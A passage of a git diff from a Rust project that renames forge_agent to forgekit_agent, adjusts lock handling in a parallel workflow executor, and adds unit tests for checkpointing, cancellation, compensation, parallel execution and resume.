rename to forgekit_agent/src/workflow/examples/complex_dependencies.yaml diff --git a/forge_agent/src/workflow/examples/simple_graph_query.yaml b/forgekit_agent/src/workflow/examples/simple_graph_query.yaml similarity index 100% rename from forge_agent/src/workflow/examples/simple_graph_query.yaml rename to forgekit_agent/src/workflow/examples/simple_graph_query.yaml diff --git a/forge_agent/src/workflow/executor/audit.rs b/forgekit_agent/src/workflow/executor/audit.rs similarity index 100% rename from forge_agent/src/workflow/executor/audit.rs rename to forgekit_agent/src/workflow/executor/audit.rs diff --git a/forge_agent/src/workflow/executor/mod.rs b/forgekit_agent/src/workflow/executor/mod.rs similarity index 99% rename from forge_agent/src/workflow/executor/mod.rs rename to forgekit_agent/src/workflow/executor/mod.rs index ffa562c..9e07107 100644 --- a/forge_agent/src/workflow/executor/mod.rs +++ b/forgekit_agent/src/workflow/executor/mod.rs @@ -22,7 +22,7 @@ use crate::workflow::rollback::{ use crate::workflow::task::{TaskContext, TaskId, TaskResult}; use crate::workflow::timeout::{TimeoutConfig, TimeoutError}; use crate::workflow::tools::ToolRegistry; -use forge_core::Forge; +use forgekit_core::Forge; use std::collections::HashSet; use std::sync::Arc; diff --git a/forge_agent/src/workflow/executor/parallel.rs b/forgekit_agent/src/workflow/executor/parallel.rs similarity index 97% rename from forge_agent/src/workflow/executor/parallel.rs rename to forgekit_agent/src/workflow/executor/parallel.rs index 73930d9..d3297df 100644 --- a/forge_agent/src/workflow/executor/parallel.rs +++ b/forgekit_agent/src/workflow/executor/parallel.rs @@ -140,7 +140,8 @@ impl WorkflowExecutor { match result { Ok(Ok((task_id, task_name))) => { self.completed_tasks.insert(task_id.clone()); - if let Ok(mut state) = concurrent_state.write() { + { + let mut state = concurrent_state.write(); state.completed_tasks.push(TaskSummary::new( task_id.as_str(), &task_name, @@ -187,7 +188,8 @@ impl WorkflowExecutor { match result { Ok(Ok((task_id, task_name))) => { self.completed_tasks.insert(task_id.clone()); - if let Ok(mut state) = concurrent_state.write() { + { + let mut state = concurrent_state.write(); state.completed_tasks.push(TaskSummary::new( task_id.as_str(), &task_name, @@ -268,7 +270,8 @@ impl WorkflowExecutor { self.create_checkpoint(&workflow_id, layer_index).await; } - if let Ok(mut state) = concurrent_state.write() { + { + let mut state = concurrent_state.write(); state.status = crate::workflow::state::WorkflowStatus::Completed; } diff --git a/forge_agent/src/workflow/executor/result.rs b/forgekit_agent/src/workflow/executor/result.rs similarity index 100% rename from forge_agent/src/workflow/executor/result.rs rename to forgekit_agent/src/workflow/executor/result.rs diff --git a/forge_agent/src/workflow/executor/serial.rs b/forgekit_agent/src/workflow/executor/serial.rs similarity index 100% rename from forge_agent/src/workflow/executor/serial.rs rename to forgekit_agent/src/workflow/executor/serial.rs diff --git a/forgekit_agent/src/workflow/executor/tests/basic.rs b/forgekit_agent/src/workflow/executor/tests/basic.rs new file mode 100644 index 0000000..4501b76 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/basic.rs @@ -0,0 +1,140 @@ +use super::*; + +#[tokio::test] +async fn test_executor_with_tool_registry() { + let mut workflow = Workflow::new(); + let task_id = TaskId::new("task1"); + workflow.add_task(Box::new(MockTask::new(task_id.clone(), "Task 1"))); + + let mut registry = ToolRegistry::new(); + registry.register(Tool::new("echo", "echo")).unwrap(); + + let mut executor = WorkflowExecutor::new(workflow).with_tool_registry(registry); + + assert!(executor.tool_registry().is_some()); + assert!(executor.tool_registry().unwrap().is_registered("echo")); + + let result = executor.execute().await.unwrap(); + assert!(result.success); +} + +struct MockTask { + id: TaskId, + name: String, + deps: Vec, + should_fail: bool, +} + +impl MockTask { + fn new(id: impl Into, name: &str) -> Self { + Self { + id: id.into(), + name: name.to_string(), + deps: Vec::new(), + should_fail: false, + } + } + + fn with_dep(mut self, dep: impl Into) -> Self { + self.deps.push(dep.into()); + self + } + + fn with_failure(mut self) -> Self { + self.should_fail = true; + self + } +} + +#[async_trait] +impl WorkflowTask for MockTask { + async fn execute( + &self, + _context: &TaskContext, + ) -> Result { + if self.should_fail { + Ok(TaskResult::Failed("Task failed".to_string())) + } else { + Ok(TaskResult::WithCompensation { + result: Box::new(TaskResult::Success), + compensation: crate::workflow::task::ExecutableCompensation::skip(format!( + "Mock compensation for task {}", + self.name + )), + }) + } + } + + fn id(&self) -> TaskId { + self.id.clone() + } + + fn name(&self) -> &str { + &self.name + } + + fn dependencies(&self) -> Vec { + self.deps.clone() + } +} + +#[tokio::test] +async fn test_sequential_execution() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("a", "c").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute().await.unwrap(); + + assert!(result.success); + assert_eq!(result.completed_tasks.len(), 3); + assert_eq!(executor.completed_count(), 3); + assert_eq!(executor.failed_count(), 0); +} + +#[tokio::test] +async fn test_failure_stops_execution() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new( + MockTask::new("b", "Task B").with_dep("a").with_failure(), + )); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("b", "c").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute().await; + + assert!(result.is_ok()); +} + +#[tokio::test] +async fn test_audit_events_logged() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + executor.execute().await.unwrap(); + + let events = executor.audit_log().replay(); + + assert!(events.len() >= 6); + + assert!(matches!( + events[0], + crate::audit::AuditEvent::WorkflowStarted { .. } + )); +} diff --git a/forgekit_agent/src/workflow/executor/tests/cancellation.rs b/forgekit_agent/src/workflow/executor/tests/cancellation.rs new file mode 100644 index 0000000..adb64bf --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/cancellation.rs @@ -0,0 +1,80 @@ +use super::*; + +#[test] +fn test_executor_without_cancellation_source() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let executor = WorkflowExecutor::new(workflow); + + assert!(executor.cancellation_token().is_none()); + + executor.cancel(); +} + +#[test] +fn test_executor_cancellation_token_access() { + use crate::workflow::cancellation::CancellationTokenSource; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let source = CancellationTokenSource::new(); + let executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); + + assert!(executor.cancellation_token().is_some()); + let token = executor.cancellation_token().unwrap(); + assert!(!token.is_cancelled()); +} + +#[tokio::test] +async fn test_executor_cancel_stops_execution() { + use crate::workflow::cancellation::CancellationTokenSource; + use std::sync::atomic::{AtomicBool, Ordering}; + use std::sync::Arc; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C"))); + + let cancel_flag = Arc::new(AtomicBool::new(false)); + let cancel_flag_clone = cancel_flag.clone(); + + tokio::spawn(async move { + tokio::time::sleep(tokio::time::Duration::from_millis(50)).await; + cancel_flag_clone.store(true, Ordering::SeqCst); + }); + + let source = CancellationTokenSource::new(); + let mut executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); + + executor.cancel(); + + let result = executor.execute().await.unwrap(); + + assert!(!result.success); + assert_eq!(result.completed_tasks.len(), 0); + assert!(result.error.unwrap().contains("cancelled")); +} + +#[tokio::test] +async fn test_cancellation_recorded_in_audit() { + use crate::workflow::cancellation::CancellationTokenSource; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let source = CancellationTokenSource::new(); + let mut executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); + + executor.cancel(); + + executor.execute().await.unwrap(); + + let events = executor.audit_log().replay(); + + assert!(events + .iter() + .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowCancelled { .. }))); +} diff --git a/forgekit_agent/src/workflow/executor/tests/checkpoint.rs b/forgekit_agent/src/workflow/executor/tests/checkpoint.rs new file mode 100644 index 0000000..125c0cd --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/checkpoint.rs @@ -0,0 +1,263 @@ +use super::*; + +#[tokio::test] +async fn test_executor_with_checkpoint_service() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("a", "c").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + let result = executor.execute().await.unwrap(); + + assert!(result.success); + assert_eq!(result.completed_tasks.len(), 3); + assert_eq!(executor.checkpoint_sequence, 3); +} + +#[tokio::test] +async fn test_checkpoint_after_each_task() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + executor.execute().await.unwrap(); + + assert_eq!(executor.checkpoint_sequence, 2); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let latest = checkpoint_service.get_latest(&workflow_id).unwrap(); + assert!(latest.is_some()); + + let checkpoint = latest.unwrap(); + assert_eq!(checkpoint.sequence, 1); + assert_eq!(checkpoint.completed_tasks.len(), 2); +} + +#[tokio::test] +async fn test_checkpoint_service_optional() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + + let result = executor.execute().await.unwrap(); + + assert!(result.success); + assert_eq!(executor.checkpoint_sequence, 0); +} + +#[tokio::test] +async fn test_checkpoint_created_after_task_success() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + let result = executor.execute().await.unwrap(); + + assert!(result.success); + assert_eq!(result.completed_tasks.len(), 2); + assert_eq!(executor.checkpoint_sequence, 2); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let latest = checkpoint_service.get_latest(&workflow_id).unwrap(); + assert!(latest.is_some()); + + let checkpoint = latest.unwrap(); + assert_eq!(checkpoint.sequence, 1); + assert_eq!(checkpoint.completed_tasks.len(), 2); + assert!(checkpoint.completed_tasks.contains(&TaskId::new("a"))); + assert!(checkpoint.completed_tasks.contains(&TaskId::new("b"))); +} + +#[tokio::test] +async fn test_restore_state_from_checkpoint() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("a", "c").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + executor.execute().await.unwrap(); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let checkpoint = checkpoint_service + .get_latest(&workflow_id) + .unwrap() + .unwrap(); + + let mut new_workflow = Workflow::new(); + new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + new_workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + + new_workflow.add_dependency("a", "b").unwrap(); + new_workflow.add_dependency("a", "c").unwrap(); + + let mut new_executor = WorkflowExecutor::new(new_workflow); + + let result = new_executor.restore_checkpoint_state(&checkpoint); + assert!(result.is_ok()); + + assert_eq!( + new_executor.completed_tasks.len(), + checkpoint.completed_tasks.len() + ); + assert!(new_executor.completed_tasks.contains(&TaskId::new("a"))); + assert!(new_executor.completed_tasks.contains(&TaskId::new("b"))); + assert!(new_executor.completed_tasks.contains(&TaskId::new("c"))); + assert_eq!(new_executor.checkpoint_sequence, checkpoint.sequence + 1); +} + +#[tokio::test] +async fn test_state_restoration_idempotent() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + executor.execute().await.unwrap(); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let checkpoint = checkpoint_service + .get_latest(&workflow_id) + .unwrap() + .unwrap(); + + let mut new_workflow = Workflow::new(); + new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + new_workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + new_workflow.add_dependency("a", "b").unwrap(); + + let mut new_executor = WorkflowExecutor::new(new_workflow); + + let result1 = new_executor.restore_checkpoint_state(&checkpoint); + assert!(result1.is_ok()); + let completed_count_after_first = new_executor.completed_tasks.len(); + + let result2 = new_executor.restore_checkpoint_state(&checkpoint); + assert!(result2.is_ok()); + let completed_count_after_second = new_executor.completed_tasks.len(); + + assert_eq!(completed_count_after_first, completed_count_after_second); + assert_eq!( + completed_count_after_first, + checkpoint.completed_tasks.len() + ); +} + +#[tokio::test] +async fn test_restore_checkpoint_state_validates_workflow() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + executor.execute().await.unwrap(); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let checkpoint = checkpoint_service + .get_latest(&workflow_id) + .unwrap() + .unwrap(); + + let mut different_workflow = Workflow::new(); + different_workflow.add_task(Box::new(MockTask::new("x", "Task X"))); + different_workflow.add_task(Box::new(MockTask::new("y", "Task Y"))); + + let mut different_executor = WorkflowExecutor::new(different_workflow); + + let result = different_executor.restore_checkpoint_state(&checkpoint); + assert!(result.is_err()); + + match result { + Err(crate::workflow::WorkflowError::WorkflowChanged(_)) => {} + _ => panic!("Expected WorkflowChanged error"), + } +} + +#[tokio::test] +async fn test_can_resume() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + assert!(!executor.can_resume()); + + let mut workflow2 = Workflow::new(); + workflow2.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow2.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow2.add_dependency("a", "b").unwrap(); + + let mut executor2 = + WorkflowExecutor::new(workflow2).with_checkpoint_service(checkpoint_service.clone()); + executor2.execute().await.unwrap(); + + assert!(executor2.can_resume()); +} + +#[tokio::test] +async fn test_can_resume_returns_false_without_service() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let executor = WorkflowExecutor::new(workflow); + + assert!(!executor.can_resume()); +} diff --git a/forgekit_agent/src/workflow/executor/tests/compensation.rs b/forgekit_agent/src/workflow/executor/tests/compensation.rs new file mode 100644 index 0000000..193c4f7 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/compensation.rs @@ -0,0 +1,102 @@ +use super::*; + +#[test] +fn test_executor_register_compensation() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let mut executor = WorkflowExecutor::new(workflow); + + executor.register_compensation( + TaskId::new("a"), + ToolCompensation::skip("Test compensation"), + ); + + assert!(executor + .compensation_registry + .has_compensation(&TaskId::new("a"))); + assert!(!executor + .compensation_registry + .has_compensation(&TaskId::new("b"))); + + let comp = executor.compensation_registry.get(&TaskId::new("a")); + assert!(comp.is_some()); + assert_eq!(comp.unwrap().description, "Test compensation"); +} + +#[test] +fn test_executor_register_file_compensation() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let mut executor = WorkflowExecutor::new(workflow); + + executor.register_file_compensation(TaskId::new("a"), "/tmp/test.txt"); + + assert!(executor + .compensation_registry + .has_compensation(&TaskId::new("a"))); + + let comp = executor.compensation_registry.get(&TaskId::new("a")); + assert!(comp.is_some()); + assert!(comp.unwrap().description.contains("Delete file")); +} + +#[test] +fn test_executor_validate_compensation_coverage() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C"))); + + let mut executor = WorkflowExecutor::new(workflow); + + executor.register_compensation( + TaskId::new("a"), + ToolCompensation::skip("Test compensation"), + ); + + let report = executor.validate_compensation_coverage(); + + assert_eq!(report.tasks_with_compensation.len(), 1); + assert!(report.tasks_with_compensation.contains(&TaskId::new("a"))); + + assert_eq!(report.tasks_without_compensation.len(), 2); + assert!(report + .tasks_without_compensation + .contains(&TaskId::new("b"))); + assert!(report + .tasks_without_compensation + .contains(&TaskId::new("c"))); + + assert!((report.coverage_percentage - 0.333).abs() < 0.01); +} + +#[tokio::test] +async fn test_compensation_registry_integration_with_rollback() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("b"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("b", "c").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + + let result = executor.execute().await.unwrap(); + + assert!(result.success); + + assert!(executor + .compensation_registry + .has_compensation(&TaskId::new("a"))); + assert!(executor + .compensation_registry + .has_compensation(&TaskId::new("b"))); + assert!(executor + .compensation_registry + .has_compensation(&TaskId::new("c"))); +} diff --git a/forgekit_agent/src/workflow/executor/tests/forge_context.rs b/forgekit_agent/src/workflow/executor/tests/forge_context.rs new file mode 100644 index 0000000..bdd2d80 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/forge_context.rs @@ -0,0 +1,44 @@ +use super::*; + +#[tokio::test] +async fn test_executor_with_forge_passes_context() { + use crate::workflow::task::TaskError; + use forgekit_core::Forge; + use tempfile::TempDir; + + struct ForgeCheckTask; + + #[async_trait] + impl WorkflowTask for ForgeCheckTask { + async fn execute(&self, context: &TaskContext) -> Result { + if context.forge.is_some() { + Ok(TaskResult::Success) + } else { + Err(TaskError::ExecutionFailed( + "no forge in context".to_string(), + )) + } + } + + fn id(&self) -> TaskId { + TaskId::new("forge-check") + } + + fn name(&self) -> &str { + "ForgeCheckTask" + } + } + + let temp_dir = TempDir::new().unwrap(); + let forge = Forge::open(temp_dir.path()).await.unwrap(); + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(ForgeCheckTask)); + + let mut executor = WorkflowExecutor::new(workflow).with_forge(Arc::new(forge)); + let result = executor.execute().await.unwrap(); + assert!( + result.success, + "task should succeed when forge is in context" + ); +} diff --git a/forgekit_agent/src/workflow/executor/tests/mod.rs b/forgekit_agent/src/workflow/executor/tests/mod.rs new file mode 100644 index 0000000..70a85b2 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/mod.rs @@ -0,0 +1,76 @@ +use super::*; +use crate::workflow::dag::Workflow; +use crate::workflow::task::{TaskContext, TaskResult, WorkflowTask}; +use crate::workflow::tools::{Tool, ToolRegistry}; +use async_trait::async_trait; + +mod basic; +mod cancellation; +mod checkpoint; +mod compensation; +mod forge_context; +mod parallel; +mod resume; +mod rollback; +mod timeout; +mod validation; + +struct MockTask { + id: TaskId, + name: String, + deps: Vec, + should_fail: bool, +} + +impl MockTask { + fn new(id: impl Into, name: &str) -> Self { + Self { + id: id.into(), + name: name.to_string(), + deps: Vec::new(), + should_fail: false, + } + } + + fn with_dep(mut self, dep: impl Into) -> Self { + self.deps.push(dep.into()); + self + } + + fn with_failure(mut self) -> Self { + self.should_fail = true; + self + } +} + +#[async_trait] +impl WorkflowTask for MockTask { + async fn execute( + &self, + _context: &TaskContext, + ) -> Result { + if self.should_fail { + Ok(TaskResult::Failed("Task failed".to_string())) + } else { + Ok(TaskResult::WithCompensation { + result: Box::new(TaskResult::Success), + compensation: crate::workflow::task::ExecutableCompensation::skip(format!( + "Mock compensation for task {}", + self.name + )), + }) + } + } + + fn id(&self) -> TaskId { + self.id.clone() + } + + fn name(&self) -> &str { + &self.name + } + + fn dependencies(&self) -> Vec { + self.deps.clone() + } +} diff --git a/forgekit_agent/src/workflow/executor/tests/parallel.rs b/forgekit_agent/src/workflow/executor/tests/parallel.rs new file mode 100644 index 0000000..9f495a6 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/parallel.rs @@ -0,0 +1,233 @@ +use super::*; + +#[tokio::test] +async fn test_execute_parallel_single_task() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_parallel().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(workflow_result.success); + assert_eq!(workflow_result.completed_tasks.len(), 1); + assert!(workflow_result.completed_tasks.contains(&TaskId::new("a"))); +} + +#[tokio::test] +async fn test_execute_parallel_two_independent_tasks() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_parallel().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(workflow_result.success); + assert_eq!(workflow_result.completed_tasks.len(), 2); + assert!(workflow_result.completed_tasks.contains(&TaskId::new("a"))); + assert!(workflow_result.completed_tasks.contains(&TaskId::new("b"))); +} + +#[tokio::test] +async fn test_execute_parallel_diamond_pattern() { + let mut workflow = Workflow::new(); + + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C"))); + workflow.add_task(Box::new(MockTask::new("d", "Task D"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("a", "c").unwrap(); + workflow.add_dependency("b", "d").unwrap(); + workflow.add_dependency("c", "d").unwrap(); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_parallel().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(workflow_result.success); + assert_eq!(workflow_result.completed_tasks.len(), 4); + + let audit_events = executor.audit_log.replay(); + + let parallel_started_events: Vec<_> = audit_events + .iter() + .filter(|e| { + matches!( + e, + crate::audit::AuditEvent::WorkflowTaskParallelStarted { .. } + ) + }) + .collect(); + + assert_eq!(parallel_started_events.len(), 3); +} + +#[tokio::test] +async fn test_execute_parallel_with_cancellation() { + use crate::workflow::cancellation::CancellationTokenSource; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let source = CancellationTokenSource::new(); + let mut executor = WorkflowExecutor::new(workflow).with_cancellation_source(source); + + executor.cancel(); + + let result = executor.execute_parallel().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(!workflow_result.success); + assert_eq!(workflow_result.completed_tasks.len(), 0); + assert_eq!( + workflow_result.error, + Some("Workflow cancelled".to_string()) + ); +} + +#[tokio::test] +async fn test_execute_parallel_empty_workflow() { + let workflow = Workflow::new(); + let mut executor = WorkflowExecutor::new(workflow); + + let result = executor.execute_parallel().await; + + assert!(result.is_err()); + assert!(matches!( + result, + Err(crate::workflow::WorkflowError::EmptyWorkflow) + )); +} + +#[tokio::test] +async fn test_execute_parallel_audit_events() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_parallel().await; + + assert!(result.is_ok()); + + let audit_events = executor.audit_log.replay(); + + assert!(audit_events + .iter() + .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowStarted { .. }))); + + let parallel_started: Vec<_> = audit_events + .iter() + .filter(|e| { + matches!( + e, + crate::audit::AuditEvent::WorkflowTaskParallelStarted { .. } + ) + }) + .collect(); + + assert!(!parallel_started.is_empty()); + + let parallel_completed: Vec<_> = audit_events + .iter() + .filter(|e| { + matches!( + e, + crate::audit::AuditEvent::WorkflowTaskParallelCompleted { .. } + ) + }) + .collect(); + + assert!(!parallel_completed.is_empty()); + + assert!(audit_events + .iter() + .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowCompleted { .. }))); + + assert!(audit_events + .iter() + .any(|e| matches!(e, crate::audit::AuditEvent::WorkflowDeadlockCheck { .. }))); +} + +#[tokio::test] +async fn test_deadlock_check_before_execution() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("b", "c").unwrap(); + + let a_idx = workflow.task_map.get(&TaskId::new("a")).copied().unwrap(); + let c_idx = workflow.task_map.get(&TaskId::new("c")).copied().unwrap(); + workflow.graph.add_edge(c_idx, a_idx, ()); + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_parallel().await; + + assert!(result.is_err()); + match result { + Err(crate::workflow::WorkflowError::CycleDetected(cycle)) => { + assert!(!cycle.is_empty()); + } + _ => panic!("Expected CycleDetected error, got: {:?}", result), + } +} + +#[tokio::test] +async fn test_parallel_state_updates() { + let mut workflow = Workflow::new(); + + for i in 0..10 { + workflow.add_task(Box::new(MockTask::new( + format!("task-{}", i), + &format!("Task {}", i), + ))); + } + + let mut executor = WorkflowExecutor::new(workflow); + let result = executor.execute_parallel().await; + + assert!(result.is_ok()); + let workflow_result = result.unwrap(); + assert!(workflow_result.success); + assert_eq!(workflow_result.completed_tasks.len(), 10); + + for i in 0..10 { + assert!(workflow_result + .completed_tasks + .contains(&TaskId::new(format!("task-{}", i)))); + } +} + +#[tokio::test] +async fn test_deadlock_timeout_abort() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let mut executor = WorkflowExecutor::new(workflow) + .with_deadlock_timeout(std::time::Duration::from_millis(100)); + + let result = executor.execute_parallel().await; + assert!(result.is_ok()); +} + +#[tokio::test] +async fn test_deadlock_timeout_disabled() { + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + + let executor = WorkflowExecutor::new(workflow).without_deadlock_timeout(); + + assert!(executor.deadlock_timeout.is_none()); +} diff --git a/forgekit_agent/src/workflow/executor/tests/resume.rs b/forgekit_agent/src/workflow/executor/tests/resume.rs new file mode 100644 index 0000000..7549743 --- /dev/null +++ b/forgekit_agent/src/workflow/executor/tests/resume.rs @@ -0,0 +1,155 @@ +use super::*; + +#[tokio::test] +async fn test_resume_from_checkpoint() { + use crate::workflow::checkpoint::WorkflowCheckpointService; + + let mut workflow = Workflow::new(); + workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + workflow.add_task(Box::new(MockTask::new("b", "Task B").with_dep("a"))); + workflow.add_task(Box::new(MockTask::new("c", "Task C").with_dep("a"))); + + workflow.add_dependency("a", "b").unwrap(); + workflow.add_dependency("a", "c").unwrap(); + + let checkpoint_service = WorkflowCheckpointService::new_default(); + let mut executor = + WorkflowExecutor::new(workflow).with_checkpoint_service(checkpoint_service.clone()); + + executor.execute().await.unwrap(); + + let workflow_id = executor.audit_log.tx_id().to_string(); + let checkpoint = checkpoint_service + .get_latest(&workflow_id) + .unwrap() + .unwrap(); + let checkpoint_id = checkpoint.id; + + let mut new_workflow = Workflow::new(); + new_workflow.add_task(Box::new(MockTask::new("a", "Task A"))); + 